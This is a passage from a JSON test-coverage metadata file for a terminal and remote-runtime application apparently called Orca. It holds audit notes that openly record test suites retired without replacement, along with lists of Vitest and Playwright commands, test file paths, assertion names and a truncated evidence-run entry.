Audit3200 composes approved source3194: deliberately retires thirteen authored registrations/twenty-seven expanded cases in six whole automation host/list policy suites without equivalent replacement. Real RPC category/retryability and wrapped-timeout recognition, unscoped-failure/scoped-success health evidence precedence, exact-ID create selectors and per-run workspace omission, paired-web local/SSH/absent host catalog routing, incompatible/removed/unhydrated/offline execution health, runtime-before-nested-SSH recovery dispatch, and no-owned-focus/successor/foreign-list focus policy alarms are consciously lost. Retain exact20line orphan allow/refuse/precondition and exact90line cross-host same-ID search suites. No retry-timer/fence lifecycle, actual reconnect/network/write delivery, native focus, mobile/mixed-version runtime or disk persistence coverage is claimed. Audit3191 combines approved source3182/3187/3188: deliberately retires thirteen authored Vitest registrations and fifteen expanded cases, including five whole suites, without equivalent replacement. Attachment intake loses real portal/native-capture terminal interception and unowned-container refusal, immediate child-only committed availability/claim-ref negotiation and delivery, and direct-target over stable focused/background composer routing through disable/re-enable/remount and independent question focus. Exact destination/cache/draft and final-stat owner/workspace/File-release suites remain; they do not replace Surface recipient routing. Automation authoring loses destination runtime catalog membership, local/direct-SSH exclusion of paired-runtime repos, unknown-runtime empty catalog, logical project/host/setup/repo/path context payload, and missing/nonready setup refusal; these were genuine direct helper alarms, while exact schedule transformation, legacy schedule and setup-decision suites remain. Agent picker loses setup-chat/terminal/missing-installer/unsupported-or-unknown-host row projection samples and the ordinary unsearched menu variant; the entire original26-line resume recipe suite remains, including reported bypass versus default/absent permission modes, as does the exact search-result menu callback with its fixtures, model/effort commits and staged Arguments reopen outcome. Rejected predecessor3180 full recipe deletion is excluded. No actual native drag/cursor/focus/IME, upload bytes or disk/restart persistence, full automation save/scheduler/runtime transport, real resume-process flags/environment delivery, or native menu/rendered layout validation is claimed. Audit3178 combines source3169/3170/3175: deliberately retires eight authored units (six Vitest cases and two imperative custom relay scenarios), including two whole suites, without equivalent replacement. Voice Section loses per-model pending-delete isolation across interleaved A/B completion and the two-success refresh-call alarm; exact VoicePane delayed key-clear/newer enabled-toggle merge remains and does not replace row deletion coverage. Speech loses dedicated rating-scale/inclusive-ceiling, unsupported-versus-unmeasured, explicit/system-language precedence/locale alias, accuracy versus fast named/default/best-measured selection, and unmeasured/no-match examples; exact offered-user-pick versus retired-selection case and its fixture remain. Relay loses legacy ping-delivery count/liveness sampled before the silence deadline and grouped malformed Bearer/host-ID 401/429 routing checks; twelve real Worker/DurableObject/shipped-client scenarios remain, not equivalent replacement for those narrow alarms. Six prior speech cases are not all deleted: approved successor3175 keeps the original user-choice case. No actual credential/file persistence, native/GPU/engine/download delivery, production assignment policy or deployed-runtime validation is claimed by this reduction. Audit3165 combines source3160/3162: deliberately retires six authored/expanded cases across three whole suites without equivalent replacement. Launch/status losses: observed React-render pending/resuming coordination across settings and deferred offer read; stale-offer reread suppressing dialog reopen; held-local-chat recovery visibility with new-chat preferences off; disabled-local admission avoiding offer RPC despite an injected but unconsumed paired-tab fixture; and run-only lost-reply uncertainty reachability until direct viewed-run retirement. Launch probe does not prove arbitrary synchronous-store atomicity, the paired fixture is not remote runtime enrollment, and the status case directly marks viewed state rather than rendering the summary. Crew-hook losses: old-host method_not_found cache persists across party changes but is released by independently supplied connection generation/verified pairing status or pairing revision, with actual frame publication and teardown. These are real narrow coordination, admission, uncertainty and mixed-version cache alarms consciously lost. Exact web verified-runtime writer handoff guard remains; it does not replace those alarms or prove live host/native/mobile delivery. Audit3156 combines3147/3150/3152/3153/3154: deliberately retires39authored/40expanded native-chat recovery cases, eight whole suites and two orphan test-support files without equivalent replacement. Lost alarms: lost-reply unconfirmed reconciliation, skipped rows/counts and missed-frame repair, unknown/pending outcome and omitted-failure-list compatibility, uncertain history after dismissal, retry/refusal/dismiss lifecycle, hidden/consumed picker ownership, result-tree keyboard focus/disclosure and all-skipped retirement; unconfirmed-over-conflict guidance and failed-chat changes despite older host timestamps; nearest-listed ancestor/cyclic forest shape, descendant membership, host ordering/missing-host local fallback; skipped/readiness/admission counts, provisional skip/progress monotonicity, early per-chat verdicts with batch pending protection, older-host waiting, start-slot/delivery distinction, retry-over-failure and unknown-after-withdrawal attention; remote snooze/reconnect/reoffer, unseen mixed summary through open/close, watched completion retirement, new success beside old failure, failed-reread mixed-result preservation, filter/collapse completion resets, retry summary replacement and current-offer/history selection; cross-host workspace identity, rendered cyclic reachability, nested tri-state/toggle propagation, project eligibility isolation and collapse preserving selection. Exact fallback-list completion barrier, batched verdict/cleanup retention, stale-read versus dismissal publication race, and requested-but-never-rendered finished-run retirement remain; they do not replace retired alarms. Audit3146 combines source reviews3132/3133/3135/3138/3143: intentionally retire20authored/31expanded cases without equivalent replacement. Provider-session losses: structured-native terminal-resume exclusion, metadata-less completed identity, new-turn completion clearing, Pi provider-only/periodic/manual promotion, changed-transcript launch-config isolation, Pi/omp/prime-agent completed-session remote/manual-shutdown promotion, and quit/done precedence over heartbeat. Side-thread/question losses: finished-pane acquisition, hidden title/recap states, local/relay/relay-done conversation takeover with prompt/session/child resets, plain-message abandonment, compaction/session replacement and completion resets. Codex startup losses: incoming-owner cached child replacement, old-relay foreign live-session correction, completed foreign-root turn-fact permutations. Transcript losses: real temporary-JSONL partial sibling/final-child completion, unlabelled child attribution, compact cached replay preservation and100/1000completed-child roster retention/release. Compiler-ratchet losses: valid-line uncompiled-list parser grammar examples and injected-existence stale-path filtering; these did not exercise actual filesystem canonicalization or build exclusion. These are real lifecycle, ownership, replay, liveness and retention alarms, including recent#40246 regressions, deliberately lost. Retained conditional record replacement, clockless root/SSH owner isolation, persisted main-thread fork rejection, partial/final question-answer lifetime, cached-roster/missing-ID/live HTTP/durable startup boundaries and restarted-relay refusal/acceptance do not replace those losses. No native/SSH/WSL execution or equivalent coverage is claimed. Audit3128 scoped coverage reduction: Audit3121 removes VoiceDictationLanguageSetting.test.tsx (Spanish-to-es callback and unsupported-model Korean option presence) and voice-speech-model-rows.test.ts (provider/language-order/retired-on-disk list policy); these real narrow alarms are deliberately retired without replacement. VoiceSpeechModelSection per-model concurrent deletion remains unchanged. Audit3122 removes the direct absolute/parent-segment sparse-directory exception-type sample and the five-row IPC sparse-preset error-code/non-save table (two authored/six expanded cases). Those real typed-validation and IPC refusal/error-code alarms are deliberately retired. Keep both real symlink/junction floating-directory trust cases and the minimal RPC structured validation-reason serialization case. The RPC case does not replace IPC save/refusal behavior, typed normalization for both path inputs, actual Git sparse checkout or rendered localization. No equivalent replacement or fresh test/runtime/platform/remote/performance validation is claimed. Audit3124 removes ExperimentalPane.test.tsx (ordinary Pet switch callback), WorkspaceDirectorySetting.test.tsx (padded absolute saved-path normalization/no-write blur), and repository-search.perf.test.ts (navigation/selected-pane builder-call policy, fixture cardinality/nonempty entries and renamed project keyword inclusion). These real narrow alarms are retired without replacement; RepositoryPane.search.test.tsx search-to-sparse-editor request remains unchanged. Audit3129: resolver Windows case-insensitive and POSIX case-sensitive configured-env composition plus mocked-base launch-preflight Windows composition are intentionally no longer checked by the two deleted suites. No equivalent coverage claimed. Keep runtime-structured-agent-host-env.test.ts unchanged: configured Windows Claude-home account identity and host-account precedence remain checked. Audit3114 incorporates source3101: retire three structured Claude child-environment wrapper cases covering inherited stamp isolation/default and explicit entrypoint, Windows SDK-key canonicalization/default/duplicate-key order, and configured lookup/final environment/config-dir conjunction. Keep direct auth/session sanitation and Windows-versus-Linux overlay checks, actual executable lookup from supplied inherited PATH, native Windows child environment delivery, and stale option-mutation fencing. These are not equivalent replacements for the retired wrapper alarms. No fresh test/runtime, real login-shell probe, Claude SDK startup, remote/mixed-version, UI or performance result is claimed. Audit3114 incorporates source3105: retire 17 authored/20 expanded daemon launch-note cases, including the entire two-case SessionLaunchNote suite. Deliberately lose split-marker carry across same-token re-arm, stale-token retirement refusal, foreground tri-state and serial settlement, omitted-note/no-incarnation mixed-version policy, sticky retirement, first-incarnation/replacement launch preservation and held-launch precedence. Keep only the unchanged unresolved foreground-read race against a later finished attach. Supplied notes/foreground and runtime calls do not establish actual daemon/main restart, SSH, native Windows observation, mobile UI, equivalent replacement or fresh runtime/performance validation. Audit3114 incorporates source3109: retire six authored/35 expanded pricing cases: 21 accepted model-name examples, 10 unsupported/future-model fail-closed examples, malformed TTL clamp, unknown-model estimate refusal, flat-model long-context disregard and oversized long-context clamp. Keep mixed five-minute/one-hour write allocation and short/all-long/mixed long-context allocation with original fixed oracles. Real parser/refusal/bounds alarms are knowingly lost without equivalent replacement; retained tests do not validate provider rates, actual billing or request threshold classification. Preserve the archived usage-scan-append source-freeze receipt without transferring historical execution/performance credit. No fresh runtime result is claimed. Audit3108 source-only reduction (3094/3095/3100): retire 27 authored/30 expanded cases, including complete markdown view-state, file-preview link-open and CLI agent-server-route suites, without replacement. Deliberate losses include preview visibility/reference lifetime and same-path owners; SSH stat, directory/missing-target, explicit-null owner, nonmarkdown line/column, local URI routing, remote-to-client guard and same-file reuse; document-preview source-owner/folder/reuse routing, stable grant location and outside-workspace POSIX/Windows request projection; and verified remote CLI send/check refusal, suggested --on argv/copy, shell no-probe bypass, unverified-launch admission and older-peer refusal. Retain two markdown source-runtime/qualified-reveal alarms, one stale grant-rejection fence and two remote read/mutation evidence policies, with original callbacks. Final last-wins reveal did not prove transient cancellation; CLI prerequisite did not prove no real send, and envelope tests do not execute server refusal. No fresh runtime, rendered UI, actual file/SSH/paired transport, authorization, mixed-version or performance result is claimed. Audit3096 source-only reduction (3087/3088): retire 69 authored/76 expanded cases, including complete recovery-portals and reconnect-banner suites. Intentionally lose dead/default TUI replay, generated alternate-frame style composition, reset/mode/dimension and legacy missing-mode-boundary alarms, UI notice/action/reveal policies, and isolated recovery lifecycle variants, without equivalent replacement. Retained registrations and callbacks are unchanged; headless cells are not pixels, and no fresh runtime, host, SSH, WSL, rendered-app or performance result is claimed. Audit3086 source-only reduction (3079/3080/3081): intentionally retire 93 authored/100 expanded mock-boundary cases, including the complete spawn-errors and SSH reconnect overlay suites, without replacement. Retired alarms include spawn classification/ownership, reply ceilings and renderer-write failure recovery, disconnect/detach fencing branches, authority facts, and overlay retry/visibility wiring. Retained callbacks are unchanged; no fresh execution, real PTY/SSH, rendered UI, or performance result is claimed. The direct side-effect-facts selector retains six cases: replay exclusion, live sequence handling, stale disposer ownership, one handoff drain, drain-before-snapshot, and stale replacement-snapshot refusal. Successful current-entry snapshot application is not witnessed by the retained snapshot case. Audit2432: The broad unit command loses the isolated BranchPicker open-change notification sample. Its unique true/false callback alarm is intentionally retired; reopening/status-refresh behavior was not exercised. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2425: The broad unit command loses the workspace-copy-status supplied readError forwarding sample. It did not exercise the branch-switch blocking promised by its title. This alarm is intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2417: The broad unit command loses two ordinary clean Git cherry-pick/revert success samples and two terminal startup foreground-read work-budget samples. These unique alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2412: The broad unit command loses the whole six-case fake-React-hook scroll-anchor suite, two generic draft-retention samples, a simple new-agent order sample, a real history-publication batching-count sample, an unmounted handoff abort/timer sample and three basic WSL preview/error samples. These alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2404: The broad unit command loses the standalone share-name lookup 503 propagation suite, initial deletion placement-kind sample, direct changed-mtime stale sample, first-pass rollback existence example and abandoned-preparation directory sample. These exact alarms are intentionally retired without equivalent replacement or fresh validation of the reduced selector. Audit2397 review amendment: The broad unit command loses three standalone suites, two partial-case definitions and two URL table rows across package/download/placement tests. Keep initial wrong-port authorization, modified independent-copy digest refusal and abort-after-begin cancellation dispatch. The remaining alarms are deliberately retired; no equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2393 current-parent refresh2401: Remove the basic skill-install service alias sample and original public managed-remove receiptless refusal case. Preserve the upstream request ownership suite and transaction interruption coverage. No equivalent complete replacement or fresh validation of the reduced selector is claimed. Audit2389: The broad unit command loses the missing-preview suite, plain-global destination sample and prepublished-receipt recovery example. No equivalent replacement or fresh validation of the reduced selector is claimed. Audit2385: The broad unit command loses four authored walker/staging/protocol examples (six expanded cases); no equivalent replacement or fresh validation is claimed for the reduced suite. Audit2383: The unscoped Vitest command no longer includes the removed Antigravity catalogue suite; its exact provider-root/owner example has no equivalent replacement or fresh validation claim. Audit2377/2381: The unscoped Vitest command includes the reduced bundled-skill and native-discovery suites; the eight removed backup/legacy/catalogue/symlink/SSH-builder examples have no replacement-equivalence or fresh validation claim here. Audit2133 current-parent preparation: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2095 current-parent preparation2126: Current reduced sources/selectors intentionally retire the alarms listed in knownGaps; prior dated runs and replacement claims do not validate the changed set. Historical prior account (preserved verbatim): Audit2090 (sources2088/2089): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2086 (sources2082/2083): Current reduced suites intentionally retire the alarms listed in knownGaps; prior dated execution and replacement claims do not validate changed source bytes or selectors. Historical prior account (preserved verbatim): Audit2076 (sources2073/2074): Intentionally retire these low-value alarms without replacement: src/main/runtime/orca-runtime-tests/terminal-handles-part-02.spec.ts: recovers a moved SSH pane through the tab it now sits in, not the one its lease froze; reports a plain expired orphan; does not report a pane whose only recent lease was superseded; does not report a pane whose only recent lease had its relay id recycled; picks the eligible orphan over a superseded predecessor that matches first; collects the same tabs the per-tab reader reports, in one sweep of the leases; reports no candidate when no lease names any of the worktree tabs. src/main/runtime/orca-runtime-tests/runtime-availability.spec.ts: starts unavailable with no authoritative window; reports the configured Windows terminal shell on status; reports floating workspace availability from settings on status; polls floating tabs with targeted PTY liveness and no repo/provider inventory; hydrates persisted tabs when the store cannot report repos; advertises browser screencast only when a renderer window is available; routes mobile Codex reset consumption through the account mutation coordinator; maps a definite pre-provider rejection into an authoritative current snapshot. Existing unrelated evidenceRuns retain their original scope; unchanged dated receipt objects do not validate changed source bytes or reduced selectors. No fresh gate execution or historical import-closure equivalence is claimed. Frozen current literal-import graph reaches these changed test bytes; unresolved local and computed edges remain debt, and current reachability is not historical execution or equivalent replacement evidence. Historical prior account (preserved verbatim): Audit2003: Remove SSH/absent-inventory attach refusal, later-subscriber retry, no-view adoption/takeback, provider-tail/unknown-read projections, failed-keystroke retry and simpler loss reattach examples. Keep the existing-subscriber inventory-ready retry alias only at its retained callback, plus retained held-input cancellation/replacement and overlapping attach/loss fences. The inventory driver also loses the whole empty-worktree-publication registration and folder-host/unverifiable scalar examples. Retire the entire dated10-case attach receipt; retain16 independent receipts only in their original scopes. No retained-memory or real-daemon measurement follows from supplied provider inventories. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1991: Remove initial-snapshot sequence-domain, limited-tail/truncation and unknown-output-sequence aliases whose callbacks are removed. The source retains partial-chunk replay and requested-snapshot retry/admission at supplied snapshot/data seams, not equivalent replacement or measured retained-memory proof. Preserve the existing stream/pending-wait capacity aliases only to their retained owning multiplex callbacks with supplied PTY resolutions. Removing the sibling-PTY heartbeat dedup work-count sample does not establish a new decorative fanout budget; the unrelated-PTY cancellation fence survives. Preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, physical provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1983: Remove the reasonless-close selector and narrow census aliases to actual retained runtime and injected-inventory callbacks. The removed synthetic census-dedup and isolated pre-boundary timing cases receive no replacement credit; preserve17 unrelated dated receipts. Changed-source prior results do not validate reduced-source bytes. No fresh execution, equivalent replacement, red/green, measured budget, soak, provider/PTY, rendered, live remote/mobile or cross-platform result is claimed. Historical prior account (preserved verbatim): Audit1939 (sources1934/1935): Delete the synthetic watcher-synchronization and partial-reconciliation suites. Retire all affected host-fact, capability-owner, activation-residue and retention-cap aliases because the remaining callbacks do not establish those full claims. Keep exact local hook/timer, byte-stream side effects, exit/disposal, scroll-intent cleanup and deterministic local rank/TTL progression callbacks within their mocked-host scope. No physical paired-host retention, resource budget or equivalent replacement evidence is assigned. The generic broad test command remains a runnable discovery command, never a dated execution receipt. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Audit1931 (sources1928/1929): Delete the complete hook-agent-status projection suite and its two behavioral assertion aliases. Supplied stored hook/title/resume/staleness/rename/question/generation/PTY-retirement/snapshot-version projections are intentionally lost. The separate osc-status-scan gate mentions this source only in existing historical notes and receives no mutation. No measured hidden-output retention, CPU/RSS or resource budget result is claimed by the deleted source or this audit. Preserve meaningful remaining selectors/assertions and unchanged dated receipts within their original scope. Reduced selectors have no fresh gate execution evidence in this metadata packet. No equivalent replacement, physical watcher/PTY/provider, live SSH/remote/mobile, rendered, cross-platform, soak or measured-budget result is claimed. Historical prior account (preserved verbatim): Retained exact unchanged-source receipts remain the only current execution evidence. Reduced selectors have no fresh execution result. Historical pre-audit oracle account for changed sources: The retained unchanged-source receipts are the only current execution evidence; reduced-source assertions await validation. Historical oracle account (not a current claim for changed sources): Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Existing exact unchanged-selector receipts remain the only current execution evidence. Changed source selectors have no fresh execution result. Historical prior-source oracle account: Run one byte-identical six-terminal oracle against an isolated headed desktop host and an isolated headless `orca serve` host. Stage at least 1,000,000 xterm cells, hide all six warm managers, emit an initial working title followed by 30 timed real-PTY spinner frames and a final idle title per worktree, and observe a second real session-tabs subscription plus the production renderer store. Require exactly two transport envelopes and two title mutations per worktree, no decorative title crossing either boundary, and positive decoded-envelope bytes. Enable ordinary parking with the lossy retention budget disabled, require exactly one mounted manager and five parked tabs, at most 45% retained cells, no more than 16 MiB heap growth, and under 500 ms timer drift. In headed mode, require the host renderer to remain on its original workspace with zero target terminal managers mounted throughout client park, reveal, and live I/O. While a tab is parked, require authoritative terminal.read to observe new PTY output; reveal it and require the original PTY, a marker within the requested 5,000-row history, the parked marker, and post-reveal input/output. Drive 24 real PTY title trackers in distinct worktrees through 40 decorative spinner frames each, then 40 spinner frames alternating with Cursor's bare native identity redraw, using fake clocks. Require all 2,880 raw chunks exactly and zero host session-tabs publications, serialized bytes, renderer apply calls, and renderer store mutations. Continue decorative evidence beyond 30 minutes, require exactly one refresh per worktree per 15-minute lease through a FIFO spaced by at least 50 ms, and require all 24 viewer statuses to remain working and fresh; then require one exact semantic idle transition and one visible-output chunk per PTY. Require ordinary and interior-Braille title changes to publish. Drive 64 host PTYs through ten 80 ms synthetic title frames, require zero paired client events after the first frame per PTY while all 640 local frames remain observable, attach a late client and require one current frame per PTY, then require semantic bell and idle transitions on both clients. Reconstruct a legacy subscribed stream with no outputPause capability, hide a chatty pane, require no hidden xterm writes, reveal it, and require one authoritative snapshot plus continued live output. Drop and acknowledge output only for one original paired-client stream, prove the fixture process consumed input while the host model advanced and the client stayed stale, then require the command snapshot probe to replace that stream, repaint exact fixture output, preserve authoritative PTY identity and target-tab cardinality, and resume live I/O. For a client without a delivered sequence, require the first numeric probe to establish a baseline without replacement, a same-sequence probe to remain attached, and a later advanced probe to replace only that stream. Withhold the first encrypted shared-control ready frame, start one RPC, trigger a status-probe refresh, and require two connections, one host delivery, successful response, and zero retained request bytes. Admit 128 active streams, reject the 129th as retryable, release one stream, then require the retry to attach and publish a snapshot without multiplying retained subscribers. Disable terminal.paired-parking.v1 and require the same oracle to fail before parking, while the legacy limit-one fallback separately passes. Also preserve truncated first paint, ACK-starved same-PTY recovery, responsive silent-command snapshot probes, dead-stream probe timeout recovery, and queued manual-disconnect fencing.", - "commands": [ - "pnpm exec vitest run --config config/vitest.config.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts", - "ORCA_BACKGROUND_LAUNCH=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts", - "ORCA_BACKGROUND_LAUNCH=1 pnpm exec playwright test tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/construction/orca-runtime.test.ts src/main/runtime/rpc/terminal/terminal-multiplex-initial-snapshot-buffering.test.ts src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts src/main/runtime/rpc/terminal/terminal-subscribe-buffer.test.ts src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts src/renderer/src/web/preload-api/runtime/web-preload-api-runtime-environment.test.ts src/main/ipc/runtime-environments/pairing/runtime-environments-pairing.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts", - "pnpm exec vitest run --config config/vitest.config.ts src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts --maxWorkers=1", - "pnpm exec vitest run --config config/vitest.config.ts src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts", - "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1", - "ORCA_E2E_FORWARD_APP_LOGS=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1 --repeat-each=10 --max-failures=1", - "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "ORCA_E2E_WEB_CLIENT=1 ORCA_E2E_DISABLE_PAIRED_TERMINAL_PARKING=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "ORCA_E2E_WEB_CLIENT=1 SKIP_BUILD=1 pnpm exec playwright test tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headless --workers=1" - ], - "testFiles": [ - "src/main/runtime/construction/orca-runtime.test.ts", - "src/renderer/src/web/preload-api/runtime/web-preload-api-runtime-environment.test.ts", - "src/main/ipc/runtime-environments/pairing/runtime-environments-pairing.test.ts", - "src/main/runtime/rpc/terminal/terminal-multiplex-initial-snapshot-buffering.test.ts", - "src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts", - "src/main/runtime/rpc/terminal/terminal-subscribe-buffer.test.ts", - "src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts", - "src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts", - "src/main/daemon/terminal-host/testing/terminal-host-agent-session.test.ts", - "src/renderer/src/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler.test.ts", - "src/renderer/src/runtime/rpc/subscriptions/runtime-client-events.test.ts", - "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts", - "src/shared/remote-runtime/control/remote-runtime-shared-control-connection.test.ts", - "tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts", - "tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts", - "tests/e2e/paired-remote-terminal-stall-recovery.spec.ts", - "tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts", - "tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts", - "tests/e2e/paired-remote-terminal-retention-memory.spec.ts", - "tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts", - "tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts", - "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-unpublished-host-graph.test.ts", - "tests/e2e/paired-remote-terminal-host-quit-reconnect-input.spec.ts", - "src/main/runtime/terminal/query/runtime-terminal-inventory-contracts.test.ts", - "tests/e2e/paired-client-first-terminal-unopened-host-worktree.spec.ts" - ], - "assertionRefs": [ - { - "file": "src/main/runtime/terminal/adoption/terminal-subscriber-driven-daemon-attach.test.ts", - "assertions": ["retries an existing subscriber when provider inventory becomes ready"] - }, - { - "file": "src/main/runtime/rpc/methods/session-tabs/session-tabs-inventory-census-race.test.ts", - "assertions": [ - "creation and removal at the census release edge are subsumed once, and a delayed pre-boundary change is not replayed", - "post-boundary creation and removal replay after the initial snapshot in sequence order", - "create/remove/recreate transitions are preserved without collapse", - "a post-boundary projected-state change is delivered without a new snapshot revision", - "an older coalesced callback cannot overwrite a newer immediate change", - "initialization churn publishes only the latest projected state and repeated structural overflow fails after bounded recollection", - "disconnect aborts the census and removes the real runtime listener" - ] - }, - { - "file": "tests/e2e/paired-remote-terminal-host-restart-background-sync.spec.ts", - "assertions": [ - "preserves daemon PID and target PTY identity across the paired host relaunch", - "foregrounds the daemon-backgrounded target on its first post-relaunch remote observation", - "delivers target and post-relaunch control terminal input and live output" - ] - }, - { - "file": "tests/e2e/paired-remote-terminal-probe-gap-recovery.spec.ts", - "assertions": ["replaces a stale paired stream when the PTY snapshot advanced"] - }, - { - "file": "tests/e2e/paired-remote-terminal-stall-recovery.spec.ts", - "assertions": [ - "restarts one ACK-starved paired terminal stream without replacing its PTY" - ] - }, - { - "file": "tests/e2e/headless-paired-remote-terminal-stall-recovery.spec.ts", - "assertions": ["recovers an ACK-starved stream from an isolated headless Orca host"] - }, - { - "file": "tests/e2e/paired-remote-terminal-lossy-initial-snapshot.spec.ts", - "assertions": [ - "a nonempty lossy initial snapshot paints exactly once on a paired client", - "the authoritative host cursor advances and live output resumes exactly once" - ] - }, - { - "file": "tests/e2e/paired-remote-terminal-truncated-tail-first-paint.spec.ts", - "assertions": [ - "paints a paired remote terminal when only its retained text tail overflowed", - "legacy paired hosts retain the lossy hidden-manager budget fallback" - ] - }, - { - "file": "tests/e2e/paired-remote-terminal-retention-memory.spec.ts", - "assertions": [ - "ordinary-parks paired terminals and restores authoritative host scrollback", - "warm-mounted hidden paired streams schedule zero renderer output work under sustained host output", - "six hidden real PTYs publish and apply only exact working and idle title transitions across paired transport", - "client recovery completes while every target terminal remains unmounted in the host renderer" - ] - }, - { - "file": "tests/e2e/headless-paired-remote-terminal-retention-memory.spec.ts", - "assertions": [ - "ordinary-parks paired terminals against an isolated headless Orca host", - "cold-activates only visible paired terminals against an isolated headless host", - "the headless host bounds real-PTY decorative title transport and production store application", - "the headless host shares the zero-hidden-renderer-work and exact-restoration contract" - ] - }, - { - "file": "src/main/runtime/rpc/terminal/terminal-multiplex-pty-wait-capacity.test.ts", - "assertions": [ - "admits 128 active streams, rejects the 129th, and reuses released capacity", - "reserves PTY wait capacity independently from active streams" - ] - }, - { - "file": "src/renderer/src/components/terminal-pane/pty-transport/remote-runtime/remote-runtime-pty-transport-activation-inventory-fallback.test.ts", - "assertions": [ - "keeps a mounted HUB mirror alive when the old stream ends before the replacement snapshot" - ] - } - ], - "evidenceRuns": [ - { - "date": "2026-08-10", - "runner": "local", - "platform": "macos", - "command": "ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1", - "result": "passed", - "durationSeconds": 27.6, - "summary": "The isolated headed desktop host and separate encrypted paired client drove 180 timed decorative real-PTY titles across six hidden worktrees and observed exactly 12 semantic transport envelopes and 12 production store title mutations, then reduced six managers to one, stayed within heap/cell/timer budgets, restored the bounded host tail exactly, and continued input/output while the host renderer retained zero target managers.", - "currentCommand": "ORCA_E2E_WEB_CLIENT=1 pnpm exec playwright test tests/e2e/paired-remote-terminal-retention-memory.spec.ts --config tests/playwright.config.ts --project electron-headful --workers=1" - }, - { - "date": "2026-08-10", - "runner": "local", - "platform": "macos", - "command": 